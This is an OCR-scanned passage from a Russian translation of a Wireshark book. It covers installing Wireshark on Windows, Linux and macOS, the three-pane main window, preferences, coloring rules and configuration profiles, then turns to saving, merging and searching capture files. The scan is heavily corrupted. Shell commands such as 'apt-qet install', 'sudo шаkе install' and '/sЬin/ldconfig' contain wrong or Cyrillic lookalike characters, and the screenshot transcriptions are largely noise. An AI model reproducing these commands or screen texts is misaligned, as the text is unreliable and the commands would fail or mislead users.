7. Далее вам представится возможность установить USBPcap - утилиту для 

сбора данных из USВ-устройств. Установите соответствующий флажок, 

если желаете установить эту утилиту, а затем щелкните на кнопке Next. 

8. Где-то посредине процесса установки Wireshark должна начаться уста

новка драйвера WinPcap. И как только это произойдет, щелкните на 

кнопке Next во вступительном окне, прочитайте лицензионное соглаше

ние и, если согласны с ним, щелкните на кнопке 1 Agree. 

9. В итоге выбранный драйвер WiнPcap и утилита USBPcap должны быть 

установлены на вашем компьютере. По окончании данной установки 

щелкните на кнопке Finish (Готово). 

10. На этом установка Wireshark должна быть завершена. И как только это 

произойдет, щелкните на кнопке Next. 

11. Щелкните на кнопке Finish в открывшемся окне подтверждения установ

ки Wireshark. 
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Wireshark 2.6.1 64-blt Se up 

Packet Capture 

Wireshark requires either Npcap ог WinPcap to capture lr1e network data. 

Currently installed Npcap or WinPcap version 
WinPcap 4.1.З 

Install 

. "1~r.:~~iCwEi.~s~P.:1;!] 
lf selected, the currently installed WinPcap 4.1.3 will Ье uninstalled first. 

Get Npcap 

Learn mo1·e about Npcap and 1\11nРсзр 

[ <~ [:iext > j L Can:;-

Рис. 3.2. Выбор варианта установки драйвера WinPcap 

Установка в системах Linux 
Приложение Wiresl1ark работает на большинстве современных платформ, 

построенных на основе ОС Unix. Его можно установить с помощью одного из 
диспетчеров дистрибутивных пакетов или же загрузив и установив дистрибу

тивный пакет, подходящий для вашей операционной системы. Было бы нере

ально охватить все процедуры установки в каждой версии ОС Linux, поэтому 
рассмотрим лишь некоторые из них. 

Как правило, для установки системного программного обеспечения в ОС 

Unix требуется права доступа суперпользователя (root). Но для установки ло
кальных версий программного обеспечения, скомпилированных из исходно

го кода, права суперпользователя не требуется. 

Системы на основе RРМ-пакетов 

Если вы пользуетесь версией Red Hat Liпux или основанным на ней дис
трибутивом вроде CentOS, то в этой ОС, скорее всего, имеется устанавливае

мое по умолчанию инструментальное средство Ушn для управления пакетами . 

В таком случае для быстрой установки приложения Wireshark вам достаточ

но извлечь его из хранилища дистрибутивного программного обеспечения. 

С этой целью откройте окно терминала и введите в нем следующую команду: 



$ sudo yum install wireshark 

Если потребуются какие-нибудь дополнительные зависимости, вам будет 

предложено установить и их. Если же все пройдет удачно, вы сможете запу

стить приложение Wiresliark на выполнение из командой строки и получить к 

нему доступ через графический интерфейс. 

Системы на основе DЕВ-пакетов 

В состав большинства дистрибутивов на основе DЕВ-пакетов, например 

DeЬian или Ubuntu, входит инструментальное средство АРТ для управления 
пакетами. Оно позволяет установить Wireshark из хранилища программно
го обеспечения ОС. Чтобы установить Wireshark с помощью этого инстру
ментального средства, откройте окно терминала и введите в нем следующую 

команду: 

$ sudo apt-get install wireshark wireshark-qt 

И в этом случае вам будет предложено установить любые зависимости, что

бы завершить процесс установки. 

Компиляция исходного кода Wireshark 

В силу изменений в архитектуре операционной системы и функциональ

ных средствах Wireshark инструкции по компиляции исходного кода Wireshark 
могут со временем меняться. И это одна из причин, по которым рекомендует

ся пользоваться диспетчером пакетов операционной системы для установки 

данного приложения. Но если в вашем дистрибутиве Linux не применяется 
программное обеспечение для автоматического управления пакетами или вам 

требуется специальная установка Wireshark, то у вас есть возможность устано
вить данное приложение вручную, скомпилировав его исходный код. С этой 

целью выполните следующие действия. 

1. Загрузите исходный пакет с соответствующей страницы веб-сайта, по
священного Wireshark по указанному ранее адресу. 

2. Извлеките архив, введя следующую команду и подставив в ней соответ
ствующее имя файла загруженного пакета: 

$ tar -jxvf <.vхажи!l'е .эдесъ JllIOI файла паже!l'а>. tar. bz2 

3. Прежде чем выбирать конфигурацию и устанавливать Wireshark, воз
можно, придется установить ряд дополнительных пакетов в зависимо

сти от выбранной вами версии Linux. Например, в Ubuntu 14.04 требу
ется установить ряд дополнительных пакетов для нормальной работы 
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Wireshark. И это можно сделать по приведенной ниже команде. Но для 
этого потребуются права доступа суперпользователя, а иначе придется 

сначала ввести команду sudo. 

$ sudo apt-qet install pkg-config bison flex qtS-default liЬgtk-3-dev 

liЬpcap-dev qttoolsS-dev-tools 

4. Установив требуемые дополнительные пакеты, перейдите к тому ката
логу, в который были извлечены исходные файлы Wiresl1ark. 

5. Настройте исходный код на правильную его сборку в вашем дистрибуги
ве Linux по команде . /configure. Если вы желаете изменить стандарт

ные параметры установки, укажите их на данной стадии установки . Если 

же какие-нибудь зависимости (т.е. дополнительные пакеты) отсугствуют, 

то компиляция исходного кода, скорее всего, завершится с ошибкой. По

этому установите и настройте отсугствующие зависимости, прежде чем 

продолжить дальше. И если настройка пройдет удачно, вы увидите сооб

щение , извещающее об этом, как показано на рис. 3.3. 

11 

The w1r@shilrk p11cko1ge hilS been conf1gured w1th the followlns opt1ons. 
вu1ld w1resh11l"k yes (w1th Qt S) 

вu11d w1r@shark-gtk yes (..,1th GTI(+ З) 

Bu1ld tshark yes 
Bulld tfshark no 

вu1ld Citplnfos yos 
вu1 ld co.ptype у•• 
Bu1ld @d1tcap У•• 
Bu1 ld du11pci1p У•• 

Bu1ld 11ersecilp yts 
Bulld reordercap У•• 

8u1ld text2pcap У•• 
Bu1ld rilndpkt У•• 

Build dftest У•• 
Bu1ld rilwS.hark. )'f!S 

Build ilndro1ddu11p yes 
Bulld ech)d no 

Save flles ilS pcap-ng Ьу defilult У"' 
In,t.all du•pCilP with Cilpi1Ь111t1@s no 

Install du11pc,ap setu1d no 
use du11pcap group (none) 

use plug1ns у•• 
Use external C41ipture sources У•• 

use Luil l1brary no 
Bu!ld Qt RTP pl•yer no 

Bu11d GTK+ RTP pl.iyer no 
вu11d prof11e Ы11ar1es no 

use рсар l1brary У•• 
use zl1b llbrary У•• 

use kerberos 11br.ilry no 
USf c~ares l1br.11ry no 

USP. GМJ ADNS llbrary no 
Use SН.I 1119 l1bNtry no 

Use GNU crypto 11br.11ry no 
use SSL crypto library no 

use IPvб na•e rt'solutlon У•• 
use gnutls Hbrary no 

use POSIX capaЫ11t1es libr.ary no 
use GeorP l1brary no 

USP. nl l1brary no 
use sвс codec library no 

Рис. 3.3. При удачном завершении команды ./con:Eigure поя

вится приведенное здесь сообщение с выбранными настройками 



6. Введите команду make, чтобы скомпилировать исходный код и собрать 

двоичный исполняемый файл. 

7. Запустите завершающую стадию установки по команде sudo шаkе 
install. 

8. Выполните команду sudo /sЬin/ldconfig, чтобы завершить процесс 
установки. 

lelQШIPJi#llil Если при выполнении описанных выше действий возникнут какие-ни

будъ ошибки, возможно, придется установитъ еще один дополнител:ь

нъtй пакет. 

Установка в системах Мае 05 Х 

Чтобы установить Wireshark в одной из систем Мае OS Х, выполните следу
ющие действия. 

1. Загрузите установочный пакет для Мае OS Х с соответствующей страни
цы веб-сайта, посвященного Wireshark по указанному ранее адресу. 

2. Запустите на выполнение утилиту в виде мастера установки и далее сле
дуйте указанным в нем инструкциям. Приняв условия лицензии конеч

ного пользователя, выберите место для установки Wireshark. 

3. Завершите процесс установки в соответствующем мастере. 

Основы работы в Wireshark 
Установив успешно приложение Wireshark в своей системе, можете присту

пить к его изучению. Открыв полностью функционирующий анализатор паке

тов, вы не увидите в нем практически ничего интересного! А дело в том, что 

для анализа пакетов Wiresl1ark требуются какие-нибудь данные. 

Первый перехват пакетов 

Чтобы ввести данные пакетов в Wireshark, вам придется сделать свой пер
вый перехват пакетов. И здесь у вас может возникнуть следующий вопрос: 

"Как же мне перехватывать пакеты, если в моей сети все в порядке?" 

Во-первых, в сети всегда что-нибудь да не так. Если не верите, пошлите со

общение по электронной почте всем пользователям своей сети, известив их, 

что все работает идеально. Во-вторых, для анализа пакетов совсем не обяза

тельно, чтобы в сети бьшо что-нибудь не так. На самом деле аналитики паке

тов бальшую часть своего рабочего времени тратят на анализ исправного, а 

не проблемного сетевого трафика. Ведь нужно же иметь какое-то исходное 

основание для сравнения, чтобы эффективно исправить сетевой трафик. Так, 



если вы надеетесь разрешить затруднение, связанное с сетевым протоколом 

DHCP, проанализировав его трафик, то должны знать, каким образом выгля
дит поток рабочего трафика по протоколу DHCP. 

В более широком смысле, чтобы найти аномалии в повседневной работе 

сети, необходимо знать, каким образом выглядит эта повседневная работа. 

Если ваша сеть работает бесперебойно , то ваши наблюдения за ней послужат 

исходным основанием для представления сетевого трафика в его нормальном 

состоянии. 

Итак, перехватите немного пакетов, выполнив следующие действия: 

1. Откройте Wireshark. 

2. Выберите команду CaptureqOptions (ПерехватqПараметры) из главно
го меню. В итоге должно появиться диалоговое окно, где перечислены 

различные сетевые интерфейсы, которые могут быть использованы 

для перехвата пакетов, а также самые основные сведения о каждом из 

них (рис. 3.4). Обратите внимание на столбец Traffic, в котором приве
ден линейный график, наглядно показывающий объем сетевого трафи

ка, проходящего в настоящий момент через данный интерфейс. Пико

вые точки на этом графике фактически указывают на перехват пакетов. 

Если они отсутствуют, линейный график должен быть плоским. Кроме 

того, каждый интерфейс можно расширить, щелкнув на стрелке слева 

от него, чтобы увидеть связанную с ним информацию об адресации, на

пример, МАС-адрес или IР-адрес. 

tntttf•ct: Traffic link·l~v Нeader 

) Blu~ooth Network C.Onnectton ------ Ethmitt 
> Ethernet E.th~et 

> Ethcmtt 2 Ethбnet 

Ethvnd} 
> Locilll Artt!I (onnIOIOn" 2 

-----~ fthtrnet 
______ EtMmet 

) Local Ar~ Connкtion• 4 Ethcmet 
USBPc•p1 USBPcap 
USBPcip2 US8Pcap 

USBPc.tp3 USBPcap 
v ~J.c=::__ j~ Eth•met 

Addressб: fe.80: :f"ee:89cafdc789d, 172.1 6. 16.172 

Б2! Et'\lble promscuous mode: on ~ int:erf.к:es 

Promiscuous SNpJen (В) 

tnabltd defautt 
t:naЫed ddautt 
t:naЬIIO dtfautt 
l!MЬlt:d def11utt 
tNЬltd dd1ult 
trwblr:d dtfautt 
tn1b~ default 
tnaЫtd def•ult 
t:NЬled defautt 
tnaЫe:d d<f•ult 

Qpьseяtierforselectedtnte-tace: 1 ~en="'~'~""="'=·~~=""~-------~· I 

Вuffer (MB) Capture:Fih.er 

2 

Рис. 3.4. Выбор сетевого интерфейса для перехвата пакетов 
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3. Щелкните сначала на том сетевом интерфейсе, которым вы хотели бы 

воспользоваться, а затем на кнопке Start (Пуск). Текущее окно должно за
полниться перехватываемыми данными. 



4. Подождите около минуты, и как только будете готовы остановить пере
хват и просмотреть полученные данные, щелкните на кнопке Stop (Оста
новка), выбираемой из раскрывающегося меню Capture. 

Как только вы выполните описанные выше действия, завершив процесс 

перехвата, главное окно Wireshark должно заполниться полученными в итоге 
данными. В действительности объем этих данных может вас ошеломить, но 

они быстро обретут для вас определенный смысл, стоит вам научиться разби

рать содержимое главного окна Wireshark по частям. 

Главное окно Wireshark 
Большую часть времени вам придется работать в главном окне Wiresl1ark. 

Именно здесь перехватываемые пакеты отображаются и преобразуются в бо

лее удобный для анализа формат. Итак, рассмотрим содержимое главного окна 

Wiresl1ark, используя сделанный только что перехват, как показано на рис. 3.5 . 
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Рис. 3.5. Вид главного окна Wiгeshaгk, состоящего из трех панелей 

Главное окно Wiresl1ark состоит из панелей Packet List (Список пакетов), 
Packet Details (Подробные сведения о пакете) и Packet Bytes (Байты из пакетов), 

которые располагаются сверху вниз и зависят друг от друга. Чтобы просмо

треть подробные сведения об отдельном пакете в панели Packet Details, необ
ходимо сначала выбрать этот пакет в панели Packet List. Если же выбрать часть 
пакета в панели Packet Details, то в панели Packet Bytes появятся отдельные бай

ты, соответствующие данной части пакета. 
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l1!QШjiЩ!!ilil На рис. 3.5 обратите внимание на то, что в панели Packet List перечис

лены разные сетевые протоколы. Здесь отсутствует визуалъное разделе

ние протоколов на разные уровни, кроме их выделения разным 'Цветом. 

А все пакеты показаны в том порядке, в каком они получены по сети. 

Ниже приведено краткое описание каждой панели. 

• Packet List. Это верхняя панель, в которой отображается таблица, содер

жащая все пакеты из текущего файла перехвата. Она состоит из столб

цов, содержащих номер пакета, относительное время перехвата пакета, 

адреса источника и получателя пакета, тип сетевого протокола пакета, а 

также некоторые общие сведения, находящиеся в пакете. 

"'QIИIUЩШi Здесъ и далее под сетевым трафиком подразумеваются все пакеты, ото

бражаемые в панели Packet List. А если речъ идет толъко о трафике DNS, 

то имеются в виду пакеты по протоколу DNS (служба доменных имен), 

отображаемые в той же самой панели. 

• Packet Details. Это средняя панель, где в иерархическом виде отображают

ся сведения об одном пакете. Она может быть свернуга или развернуrа 

для отображения всей информации, собранной об отдельном пакете. 

• Packet Bytes. Это нижняя панель, в которой отображаются исходные дан

ные пакета в необработанном виде, т.е. в том виде, в каком пакет пере

носится по сети. Эти исходные данные не содержат ничего, что упро

щало бы их отслеживание. Методики их интерпретации подробнее рас

сматриваются в приложении Б, "Интерпретация пакетов", к этой книге. 

Глобальные параметры настройки Wireshark 
Имеется несколько глобальных параметров Wireshark, которые можно на

строить под свои нужды. Чтобы получить доступ к глобальным параметрам на

стройки Wireshark, выберите команду EditQ Preferences (Правка Q Параметры) 

из главного меню. В итоге откроется диалоговое окно Preferences с нескольки

ми специально настраиваемыми параметрами, как показано на рис. 3.6. 

Глобальные параметры настройки Wireshark разбиты на шесть основных 

разделов и дополнительный раздел Advanced. Ниже приведено краткое описа

ние этих разделов. 

• Appearance (Представление). В этом разделе находятся глобальные 

параметры, которые определяют порядок представления данных в 

Wireshark. Бальшую часть этих параметров можно изменить, исходя 



положение окон, компоновку трех основных панелей, расположение по

лосы прокрутки и столбцов в панели Packet List, шрифты, которыми выде
ляются перехваченные данные, а также цвета фона и символов шрифта . 
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Рис. 3.6. В диалоговом окне Preferences можно специально настроить 

глобальные параметры Wireshark 

• Capture (Перехват). В этом разделе находятся глобальные параметры, 

которые определяют порядок перехвата пакетов, включая стандартный 

интерфейс для перехвата, необходимость перехода в комбинирован

ный режим по умолчанию и обновления панели Packet List в реальном 
времени. 

• Filter Expressions (Фильтрующие выражения). В дальнейшем мы обсу

дим, каким образом в Wireshark можно фильтровать сетевой трафик по 
отдельным критериям. А в этом разделе находятся глобальные параме

тры, которые позволяют создавать фильтры сетевого трафика и мани

пулировать ими. 

• Name Resolution (Преобразование имен). С помощью глобальных пара

метров из этого раздела можно активизировать функциональные сред

ства Wireshark, позволяющие преобразовывать адреса в их более удоб
ные для различения имена, в том числе адреса канального, сетевого и 

транспортного уровня, а также указывать максимальное количество па

раллельных запросов на преобразование имен. 

• Protocols (Протоколы). В этом разделе находятся глобальные пара

метры, имеющие отношение к перехвату и отображению различных 



пакетов, которые Wireshark в состоянии декодировать. Настраиваемые 
глобальные параметры имеются не для всех сетевых протоколов, но па

раметры некоторых из них все же можно изменить. Впрочем, эти пара

метры лучше оставить установленными по умолчанию, если только нет 

особых причин для их изменения. 

• Statistics (Статистика). В этом разделе находится ряд глобальных пара

метров для настройки функциональных средств Wiresl1ark, предназна
ченных для ведения статистики и более подробно рассматриваемых в 

главе 5, "Дополнительные возможности Wires}1ark". 

• Advanced (Дополнительно). В этом разделе находятся глобальные пара
метры, не относящиеся ни к одной из перечисленных выше категорий. 

Они, как правило, настраиваются только опытными пользователями 

Wireshark. 

Цветовая кодировка пакетов 

Если вы, как и я, предпочитаете блестящие предметы и приятные цвета, 

то вас, вероятно, заинтересует возможность выделять пакеты разными цвета

ми в панели Packet List, как, например, показано на рис. 3. 7. И хотя это всего 
лишь черно-белый рисунок в печатном издании, тем не менее, разные оттен

ки серого на нем дают общее представление о цветовой кодировке пакетов. 

На первый взгляд может показаться, что пакеты выделяются цветами произ

вольно, но на самом деле это не так. 
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Рис. 3.7. Цветовая кодировка пакетов в Wireshark позволяет быстро распознавать 

сетевые протоколы 

Каждый пакет отображается отдельным цветом по весьма веской причине: 

цвет может отражать сетевой протокол и значения в отдельных полях паке

та. Например, весь трафик по сетевому протоколу UDP выделяется по умол
чанию голубым цветом, а весь трафик по сетевому протоколу НТТР - сала

товым. Такая цветовая кодировка позволяет быстро распознавать различные 

сетевые протоколы, не обращаясь к полю протокола в каждом пакете, ото

бражаемом в панели Packet List. Со временем вы сами убедитесь, насколько это 

экономит время, затрачиваемое на просмотр крупных файлов перехвата. 



Цвета, назначенные для каждого сетевого протокола, нетрудно изменить 

в диалоговом окне Coloring Rules (Правила выделения цветом), как показано на 
рис. 3.8. Чтобы открыть это окно, выберите команду ViewQColoring Rules (ВидQ 
Цветовые правила) из главного меню . 
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Рис. 3.8. В диалоговом окне Coloring Rules можно просматривать и юменять порядок 

выделения пакетов розными цветами 

Правила выделения цветом основываются на фильтрах, применяемых в 

Wireshark и подробнее рассматриваемых в главе 4, "Обработка перехвачен
ных пакетов". С помощью этих фильтров можно определить собственные пра

вила выделения цветом или изменить уже существующие. Например, чтобы 

изменить с салатового на бледно-лиловый цвет фона, которым выделяется се

тевой трафик по протоколу НТТР, выполните следующие действия. 

1. Откройте Wireshark, а затем диалоговое окно Coloring Rules (по команде 
ViewQColoring Rules). 

2. Найдите правило выделения цветом сетевого протокола НТТР в списке 
подобных правил и выберите его, щелкнув на нем кнопкой мыши. 

3. В нижней части экрана появятся кнопки выбора цветов символов и 
фона, как показано на рис. 3.9. 

4. Щелкните на кнопке Background (Фон). 

5. Выберите требующийся цвет на папитре цветов и щелкните на кнопке ОК. 
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Рис. 3. 9. Редактируя фильтр выделения цветом, можно изменить цвета символов и 
фона 

6. Щелкните на кнопке ОК еще раз, чтобы принять внесенные изменения и 
вернуrься в главное окно. В итоге пользовательский интерфейс должен 

перезагрузиться, чтобы отразить обновленную цветовую схему. 

В ходе работы со своей сетью в Wiresl1ark вы постепенно начнете замечать, 
что с одними сетевыми протоколами вам приходится иметь дело чаще, чем с 

другими. Именно здесь и приходит на помощь цветовая кодировка пакетов, 

упрощающая их анализ. Так, если вы считаете, что в вашей сети имеется непо

слушный DНСР-сервер, самовольно назначающий IР-адреса, можете изменить 

правила выделения цветом сетевого протокола DHCP таким образом, чтобы 
отображать соответствующие пакеты светло-желтым или любым другим легко 

различаемым цветом. Это даст вам возможность намного быстрее различать 

весь сетевой трафик по протоколу DHCP, а следовательно, повысить эффек
тивность анализа пакетов. 

ii!Цi@ЩЩ!iil Не так давно мне пришлосъ обсуждатъ принятые в Wireshark правшtа вы
деления цветом в ходе презентации для группы местных учащихся. Один 

из учащихся признался, -что ему удалосъ изменитъ установленные по умол

чанию правшtа въtделения цветом, посколъку он не может разли-чатъ нек~ 

торъtе цвета. Такое изменение правш выделения пакетов разнЪtм цветом 

лиш1, /Jасши/JЯет спе1_&иалънъtе возможности полъзователей Wireshark. 



Файлы конфигурации 
Полезно знать, где именно Wiresl1ark сохраняет настройки своей конфигу

рации, на тот случай, если потребуется внести в них непосредственные кор

рективы. Чтобы найти местоположение файлов конфигурации Wireshark, до
статочно выбрать сначала команду HelpQAbout Wireshark (СuравкаQО програм

ме Wiresl1ark), а затем вкладку Folders (Папки). Диалоговое окно с этой развер
нутой вкладкой приведено на рис. 3.10. 
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Рис. 3. 1 О. Местоположение файлов конфиrуроции Wireshork 

Что касается специальной настройки Wiresliark, то двумя самыми важными 
местами для ее проведения служат каталоги личной и глобальной конфигура

ции . Так, в каталоге глобальной конфигурации содержатся все устанавливае

мые и сохраняемые по умолчанию настройки и профили Wireshark, а в катало

ге личной конфигурации - специальные настройки и профили, характерные 

для вашей учетной записи. Любые новые файлы, которые вы создаете, будут 

сохраняться в подкаталоге, расположенном в каталоге личной конфигурации 

по указанным вами именам. Различать каталоги личной и глобальной конфи

гурации важно потому, что любые изменения в файлах глобальной конфигура

ции окажут влияние на каждого пользователя Wiresl1ark в системе. 

Профили конфигурации 
После ознакомления с глобальными параметрами настройки Wiresl1ark 

у вас может порой возникнуть потребность воспользоваться сначала одним 

рядом этих параметров, а затем быстро нерейти к другим глобальным пара

метрам , чтобы учесть изменившуюся ситуацию. Но вместо того чтобы пе

ренастраивать глобальные параметры каждый раз, когда в этом возникает 

потребность, можно воспользоваться внедренными в Wiresliark профилями 
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конфигурации, дающими пользователям возможность создавать и сохранять 

определенный ряд глобальных параметров. 

В профиле конфигурации хранится следующее. 

• Глобальные параметры настройки 

• Фильтры перехвата 

• Фильтры отображения 

• Правила выделения цветом 

• Запрещенные сетевые протоколы 

• Принудительные расшифровки 

• Недавние установки, в том числе размеры панелей, настройки представ

ления меню и ширина столбцов 

• Характерные для протоколов таблицы, содержащие, например, пере

чень пользователей сетевого протокола SNMP и специальные НТТР-за
головки 

Чтобы просмотреть список профилей конфигурации, выберите команду 

EditqConfiguration Profiles (ПравкаqПрофили конфигурации) из главного меню. 
Можно также щелкнуть правой кнопкой мыши на разделе профилей в правом 

нижнем углу окна и выбрать команду Manage Profiles (Управлять профилями) 
из контекстного меню. В открывшемся окне Configuration Profiles вы обнаружи
те ряд стандартных профилей Wireshark, включая следующие: Defaul t (Стан
дартный), Bluetooth (Беспроводная персональная сеть Bluetooth) и Classic 
(Классический). Здесь же находится специально созданный автором книги 

профиль Latency Investigation (Исследование сетевой задержки), который 
вьщеляется простым текстом, тогда как остальные профили - курсивом, как 

показано на рис. 3.11 . 
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Рис. 3. 11. Просмотр профилей конфигурации 



В окне Configuration Profiles можно создавать, копировать, удалять и приме

нять профили конфигурации. Процесс создания нового профиля довольно 

прост. Для этого достаточно выполнить следующие действия. 

1. Настройте конфигурацию Wiresliark с установками, которые требуется 

сохранить в отдельном профиле. 

2. Перейдите в окно Configuration Profiles, выбрав команду EditqConfiguration 
Profiles из главного меню. 

3. Щелкните на кнопке со знаком "плюс" ( +) и присвойте описательное 
имя новому профилю конфигурации. 

4. Щелкните на кнопке ОК. 

Когда у вас возникнет потребность сменить профиль конфигурации, пе

рейдите в окно Configuration Profiles, щелкните сначала на имени нужного про

филя, а затем на кнопке ОК. Эту операцию можно ускорить, щелкнув правой 

кнопкой мыши в правом нижнем углу окна Wiresl1ark на заголовке Profile и 

выбрав нужный профиль, как показано на рис. 3.12 . 
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Рис. 3. 12. Быстрая смена профиля конфигурации через заголовок Profile 

К числу самых полезных свойств профилей конфигурации относится воз

можность сохранять их в отдельном каталоге вместе с целым рядом файлов 

конфигурации. Это означает, что можно создавать резервные копии профи

лей, а затем обмениваться ими с другими пользователями. На вкладке Folders, 

приведенной на рис. 3.10, указаны пути к каталогам с файлами личной и гло

бальной конфигурации. Чтобы обменяться профилем с пользователем на дру

гом компьютере, достаточно скопировать папку, совпадающую с именем обме

ниваемого профиля, и вставить ее в тот же самый каталог для соответствую

щего пользователя на другом компьютере. 

По ходу чтения этой книги у вас может возникнуть потребность создать не

сколько профилей высокого уровня для общей диагностики сети, выявления 

источника сетевой задержки и исследования вопросов безопасности. Не бой

тесь свободно пользоваться профилями. Они действительно экономят время, 



когда требуется быстро сменить ряд глобальных параметров настройки. Мне 

известны пользователи Wireshark, которые употребляли десятки профилей 
для успешного разрешения самых разных ситуаций в сети. 

Итак, установив и настроив Wireshark, вы готовы приступить к анализу па
кетов. В главе 4, "Обработка перехваченных пакетов", поясняется, как обраба
тывать перехваченные пакеты. 



ОБРАБОТКА ПЕРЕХВАЧЕННЫХ 

ПАКЕТОВ 

После знакомства с Wireshark вы готовы приступить к 
перехвату и анализу пакетов. Из этой главы вы узнаете, 

как обращаться с файлами перехвата, пакетами и формата

ми отображения времени. В ней также рассматриваются дополнительные воз

можности для перехвата пакетов и особенности применения фильтров. 

Обработка файлов перехвата 
Со временем вы обнаружите, что немалая доля анализа пакетов приходит

ся на стадию, следующую после их перехвата. Как правило, несколько пере

хватов производится в разные моменты времени. При этом они сохраняются, 

а затем анализируются сообща. Таким образом, Wireshark позволяет сохра
нять файлы перехвата для последующего их анализа. Кроме того, несколько 

файлов перехвата можно объединить вместе. 

Сохранение и экспорт файлов перехвата 

Чтобы сохранить результат перехвата пакетов, выберите команду Fileq 
Save As (ФайлqСохранить как) из главного меню. В итоге появится диалого

Save file as 4.1, 



пакетов, а таюке выбрать для него подходящий формат файла. Если вы не ука

жете формат файла, Wireshark автоматически выберет задаваемый по умолча
нию формат файла с расширением .pcapng . 

• Wiresharlc Save file as х 

№eri· рро~ vl ' m· 

* 
№me Date modified Туре " 
~ 80211beacon 6/17/2017 8:ЗЗ АМ Wiresh 

Quick access ~ 80211-V/EPauth б/17/2017 8:ЗЗ АМ Wiresh 

• ~ 80211-WEPauthfail 6/17/2017 8:ЗЗ дм Wiresh 

~ 80211-WPдauth б/17/2017 8:ЗЗ дМ Wir6h 
Dosktop ~ 80211-WPдauthfail б/17/2017 8:ЗЗ АМ Wirosh 

r.-1 activeosfing<rprinting б/17/2017 8:ЗЗ дМ Wirosh 

~ arp_gratuitous 6/17/2017 8:ЗЗ дм Wiresh 

Libraries ~ arp_resolut1on б/17/2017 8:ЗЗ дм Wiresh 

arppoiюn 6/17/2017 8:ЗЗ дм Wiresh 

~ aurora 6/17/2017 8:ЗЗАМ Wir.sh 

This РС dhcp_inlease_renewal б/17/2017 8:ЗЗ АМ Wirбh.., -< > 

Fie!l"flМ! 
№twork 

Save ••\)'ре: 

Рис. 4. 1. В диалоговом окне Save file as можно сохранять 

полученные перехваты пакетов 

Зачастую требуется сохранить лишь часть перехваченных пакетов. С этой 

целью выберите команду FileQExpor1 Specified Packets (ФайлQЭкспортировать 
указанные пакеты) из главного меню. В итоге появится диалоговое окно, при

веденное на рис. 4.2. Это удобный случай сократить размеры чрезмерно разду
тых файлов перехвата. В частности, можно выбрать сохранение пакетов лишь 

в конкретном диапазоне номеров, отмеченных пакетов или же тех пакетов, ко

торые появляются на экране после применения фильтра отображения ( отме
ченные пакеты и фильтры рассматриваются далее в этой главе). 

Объединение файлов перехвата 
Для некоторых видов анализа требуется возможность объединять вместе 

несколько файлов перехвата. И это обычная норма практики, когда приходит

ся сравнивать два потока данных или объединять потоки, относящиеся к од

ному сетевому трафику, но перехваченные отдельно. 

Чтобы объединить файлы перехвата, откройте один из них и выберите 

команду FileQMerge (ФайлQОбъединить) из главного меню. В итоге откроет
ся диалоговое окно Merge with capture file (Объединение с файлом перехвата), 



приведенное на рис. 4.3. Выберите сначала новый файл, с которым требуется 
объединить уже открытый файл , а затем способ их объединения. В частности, 

выбранный файл можно присоединить в начале или в конце открытого в на

стоящий момент файла или же объединить файлы в хронологическим поряд

ке, исходя из отметок времени их создания или изменения. 

JI. Wireshark: Export Specified Packets х 

Saver-: ppaЗecaptu-es vl t " rn· 

* 
Name Datemodified Туре " 
~ 802llbeacon б/17/2017 8:33 АМ Wiresh 

Quick ассвs ; 80211-WEPauth б/17/2017 8:33 АМ Wire.sh 

• ~ 80211-WEPauthfail б/17/2017 8:33 АМ Wiresh 

~ 80211-WPAauth б/1712017 8:33 АМ Wiresh 
Desktop ~ 80211-WPAauthfail б/17 /2017 8:33 АМ Wiresh = activeosfingerprinting б/1712017 8:33 АМ Wiresh 

~ arp_graturtous б/17/2017 8: 33 АМ Wiresh 

Libraries ~ arp_rбolution 6/17 / 2017 8:33 АМ Wiresh 

~ arppoison 6/1712017 8: 33 АМ Wiresh 

; aurora б/17 /2017 8: 33 АМ Wiresh 

This РС ~ dhcp_inlease_ren~al б/17{2017 8:33 АМ Wir~sh" 

< > 

1 S.ave 

[ Cancel 
Ni!tworl: 

Aename. 

Saveastwe. 

с~ J 
Pod<el Range о 

QCaptt.red @Displayed 

@N. pod<ets 12 12 

о Sdected packel 1 
М.Ю.еd packets 

Fnt tolastm!llked о 

QRange о 

Remove lgnored packets 

Рис. 4 .2. В диалоговом окне Expot1 Specified Packets можно бо

лее точно указать порядок сохранения перехваченных пакетов 

Обработка пакетов 
Дело в конечном итоге дойдет до того, что вам придется обрабатывать 

очень много пакетов. По мере увеличения количества пакетов до тысяч и 

даже миллионов у вас возникнет потребность эффективно перемещаться по 

этим пакетам . И для этой цели в Wiгeshaгk предусмотрен поиск и отметка па

кетов, отвечающих определенным критериям. Чтобы упростить обращение к 

пакетам для получения быстрой справки, их можно распечатать. 
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• W1resh1'rk: Merge with capture file х 
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111! dns_oxfr Ь/17/2017 8:33 АМ Wiroshork copturo". 
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Рис. 4.3. В диалоговом окне Merge with capture file можно объеди
нить два файла перехвата 

Поиск пакетов 

Чтобы найти пакеты, отвечающие определенным критериям , откройте па

нель Find Packet (Поиск пакета), приведенную в сжатом виде на рис. 4.4, нажав 
комбинацию клавиш <Ctrl+F>. Эта панель появится между панелью Filter и ок
ном Packet List. 

,,..,...., "' N•··ru.aft.v.~ Ci12 1е;1._,Ьv 

.... r~ Sou-a """"""" Proloa>I 

1 

1 е.- 172.16.16.128 74.125.9'5.1&4 ТСР 

2 е._ 74.125.95.184 172..16.16.128 ТСР 

3 0.- 172.16.16 .12.8 74.125.95.164 ТСР 

' 
4 е._ 172.16.16.128 74.125.95.1&4 НТТР 

L~lh lnfo _.;. 
66 1666 ... 88 [SYN] Щ•2.е82691767 Win•8192 len-0 НSS-146& WS--4 SАСК-
бб 88 ... 1606 (SYN, АСК] Seq•2.77SS77373 Ack•28S2691768 Win--sne len·-
S4 16'86 ~ ве [АСК] seq•2982691768 Ack-2775577374 Win•168n L~n-e 

681 GЕТ / tfTTP/1.1 

Рис. 4.4. Поиск пакетов в Wireshark по заданным критериям. В данном случае пока
заны пакеты, совпадающие с выражением tcp, заданным в фильтре отображения 

На этой панели предоставляются три варианта поиска пакетов, как поясня

ется ниже. 

• Display filter (Фильтр отображения). Этот вариант позволяет создать 
фильтр, чтобы найти только те пакеты, которые отвечают заданному в 

нем выражению. Именно этот вариант поиска пакетов использован мя 

получения результатов, приведенных на рис. 4.4. 



• Нех value (Шестнадцатеричное значение). Этот вариант предназна
чен для поиска пакетов по указанному шестнадцатеричному значению. 

• String (Символьная строка). Этот вариант предназначен для поиска 
пакетов по указанной символьной строке. В частности, можно указать 

имя объекта для поиска пакетов или учитывать регистр букв в строке 

поиска. 

Виды поиска пакетов сведены в табл. 4.1. 

Табnица 4.1. Вид~.1 поиска пакетов 

Вид поиска 

Фильтр отображения 

Шестнадцатеричное значение 

